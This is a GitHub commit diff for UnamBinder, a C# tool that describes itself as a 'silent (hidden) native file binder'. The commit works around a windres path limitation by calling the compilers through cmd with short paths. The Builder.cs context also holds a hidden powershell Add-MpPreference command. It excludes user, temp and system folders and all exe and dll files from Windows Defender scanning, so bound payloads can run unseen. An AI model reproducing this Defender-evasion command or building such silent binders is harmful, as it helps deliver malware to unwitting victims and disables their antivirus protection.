Skip to content

Commit 1372cf9

Browse files
committed
Updated to v1.1.1
* Worked around windres limitation of not supporting spaces in file paths
1 parent 911cd72 commit 1372cf9

File tree

5 files changed

+37
-11
lines changed

5 files changed

+37
-11
lines changed

Diff for: CHANGELOG.md

+2
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
### v1.1.1 (12/09/2021)
2+
* Worked around windres limitation of not supporting spaces in file paths
13
### v1.1.0 (12/09/2021)
24
* Added new custom minimal MinGW64 windres resource compiler
35
* Added new Icon and Assembly Data options using the new resource compiler

Diff for: README.md

+3-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11

22
<img src="https://github.com/UnamSanctam/UnamBinder/blob/master/UnamBinder.png?raw=true">
33

4-
# UnamBinder 1.1.0 - A free silent native file binder
4+
# UnamBinder 1.1.1 - A free silent native file binder
55

66
A free silent (hidden) open-source native file binder.
77

@@ -24,6 +24,8 @@ You can find the wiki [here](https://github.com/UnamSanctam/UnamBinder/wiki) or
2424

2525
## Changelog
2626

27+
### v1.1.1 (12/09/2021)
28+
* Worked around windres limitation of not supporting spaces in file paths
2729
### v1.1.0 (12/09/2021)
2830
* Added new custom minimal MinGW64 windres resource compiler
2931
* Added new Icon and Assembly Data options using the new resource compiler

Diff for: UnamBinder/Builder.Designer.cs

+2-2
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Diff for: UnamBinder/Builder.cs

+30-8
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
using System.Diagnostics;
44
using System.IO;
55
using System.IO.Compression;
6+
using System.Runtime.InteropServices;
67
using System.Text;
78
using System.Windows.Forms;
89

@@ -14,6 +15,8 @@ public partial class Builder : Form
1415
public Vanity vanity = new Vanity();
1516
private string key = RandomString(32);
1617

18+
public static int MAX_PATH = 255;
19+
1720
public Builder()
1821
{
1922
InitializeComponent();
@@ -24,9 +27,15 @@ public void NativeCompiler(string savePath)
2427
key = RandomString(32);
2528

2629
string currentDirectory = Path.GetDirectoryName(savePath);
27-
string filename = Path.GetFileNameWithoutExtension(savePath) + ".c";
28-
2930
string compilerDirectory = Path.Combine(currentDirectory, "Compiler");
31+
string filename = Path.GetFileName(savePath);
32+
33+
if(compilerDirectory.Length > MAX_PATH)
34+
{
35+
MessageBox.Show(string.Format("Error: Path \"{0}\" is longer than the max allowed filepath length of {1} characters. Please choose another shorter filepath to save the build in.", compilerDirectory, MAX_PATH));
36+
return;
37+
}
38+
3039
if (!Directory.Exists(compilerDirectory))
3140
{
3241
using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.tinycc)))
@@ -39,6 +48,8 @@ public void NativeCompiler(string savePath)
3948
}
4049
}
4150

51+
string compilerDirectoryShort = ShortPath(compilerDirectory);
52+
4253
StringBuilder sb = new StringBuilder(Properties.Resources.Program1);
4354

4455
bool buildResource = (checkAdmin.Checked || vanity.checkIcon.Checked || vanity.checkAssembly.Checked);
@@ -72,8 +83,8 @@ public void NativeCompiler(string savePath)
7283

7384
Process.Start(new ProcessStartInfo
7485
{
75-
FileName = Path.Combine(compilerDirectory, "MinGW64\\bin\\windres.exe"),
76-
Arguments = "--input resource.rc --output resource.o -O coff -F pe-i386 " + defs,
86+
FileName = "cmd",
87+
Arguments = string.Format("cmd /c \"{0}\" --input resource.rc --output resource.o -O coff -F pe-i386 {1}", compilerDirectoryShort + "\\MinGW64\\bin\\windres.exe", defs),
7788
WorkingDirectory = currentDirectory,
7889
WindowStyle = ProcessWindowStyle.Hidden
7990
}).WaitForExit();
@@ -113,17 +124,18 @@ public void NativeCompiler(string savePath)
113124
CipherReplace(sb, "#WDCOMMAND", "cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & exit");
114125
}
115126

116-
System.IO.File.WriteAllText(Path.Combine(currentDirectory, filename), sb.ToString());
127+
System.IO.File.WriteAllText(Path.Combine(currentDirectory, "program.c"), sb.ToString());
117128
Process.Start(new ProcessStartInfo
118129
{
119-
FileName = Path.Combine(compilerDirectory, "tinycc\\tcc.exe"),
120-
Arguments = "-Wall -Wl,-subsystem=windows \"" + filename + "\" " + (buildResource ? "resource.o" : "") + " -luser32 -m32",
130+
FileName = "cmd",
131+
Arguments = string.Format("cmd /c \"{0}\" -Wall -Wl,-subsystem=windows program.c {1} -luser32 -m32", compilerDirectoryShort + "\\tinycc\\tcc.exe", buildResource ? "resource.o" : ""),
121132
WorkingDirectory = currentDirectory,
122133
WindowStyle = ProcessWindowStyle.Hidden
123134
}).WaitForExit();
124135

125136
System.IO.File.Delete(Path.Combine(currentDirectory, "resource.o"));
126-
System.IO.File.Delete(Path.Combine(currentDirectory, filename));
137+
System.IO.File.Delete(Path.Combine(currentDirectory, "program.c"));
138+
System.IO.File.Move(Path.Combine(currentDirectory, "program.exe"), Path.Combine(currentDirectory, filename));
127139
}
128140

129141
public void CipherReplace(StringBuilder source, string id, string value)
@@ -177,6 +189,16 @@ private static string ToLiteral(string input)
177189
return literal.ToString();
178190
}
179191

192+
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
193+
public static extern int GetShortPathName([MarshalAs(UnmanagedType.LPWStr)]string path, [MarshalAs(UnmanagedType.LPWStr)]StringBuilder shortPath, int shortPathLength);
194+
195+
private static string ShortPath(string path)
196+
{
197+
var shortPath = new StringBuilder(MAX_PATH);
198+
GetShortPathName(path, shortPath, MAX_PATH);
199+
return shortPath.ToString();
200+
}
201+
180202
public string SaveDialog(string filter)
181203
{
182204
SaveFileDialog dialog = new SaveFileDialog();

Diff for: UnamBinder/Resources/MinGW64.zip

-829 KB
Binary file not shown.

0 commit comments

Comments
 (0)